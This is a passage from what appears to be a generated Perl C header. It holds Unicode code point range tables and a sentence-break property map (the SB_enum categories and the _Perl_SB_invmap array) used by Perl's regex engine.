0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C43, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16AF6, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B39, - 0x16B40, - 0x16B44, - 0x16B45, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA88, - 0x1DA89, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E922, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F676, - 0x1F679, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -typedef enum { - SB_Other = 0, - SB_ATerm = 1, - SB_CR = 2, - SB_Close = 3, - SB_Extend = 4, - SB_Format = 5, - SB_LF = 6, - SB_Lower = 7, - SB_Numeric = 8, - SB_OLetter = 9, - SB_SContinue = 10, - SB_STerm = 11, - SB_Sep = 12, - SB_Sp = 13, - SB_Upper = 14, - SB_EDGE = 15 -} SB_enum; - -static const SB_enum _Perl_SB_invmap[] = { /* for ASCII/Latin1 */ - SB_Other, - SB_Sp, - SB_LF, - SB_Sp, - SB_CR, - SB_Other, - SB_Sp, - SB_STerm, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_ATerm, - SB_Other, - SB_Numeric, - SB_SContinue, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Sep, - SB_Other, - SB_Sp, - SB_Other, - SB_Lower, - SB_Close, - SB_Other, - SB_Format, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Close, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_OLetter, - SB_Other, - SB_SContinue, - SB_Other, - SB_Lower, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_SContinue, - SB_Other, - SB_Extend, - SB_Other, - SB_Format, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Numeric, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Format, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Format, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_SContinue, - SB_STerm, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Format, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Close, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Numeric, - SB_Extend, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Sp, - SB_OLetter, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_SContinue, - SB_STerm, - SB_Other, - SB_SContinue, - SB_STerm, - SB_Other, - SB_Extend, - SB_Format, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Numeric, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_STerm, - SB_Lower, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Lower, - SB_Extend, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - 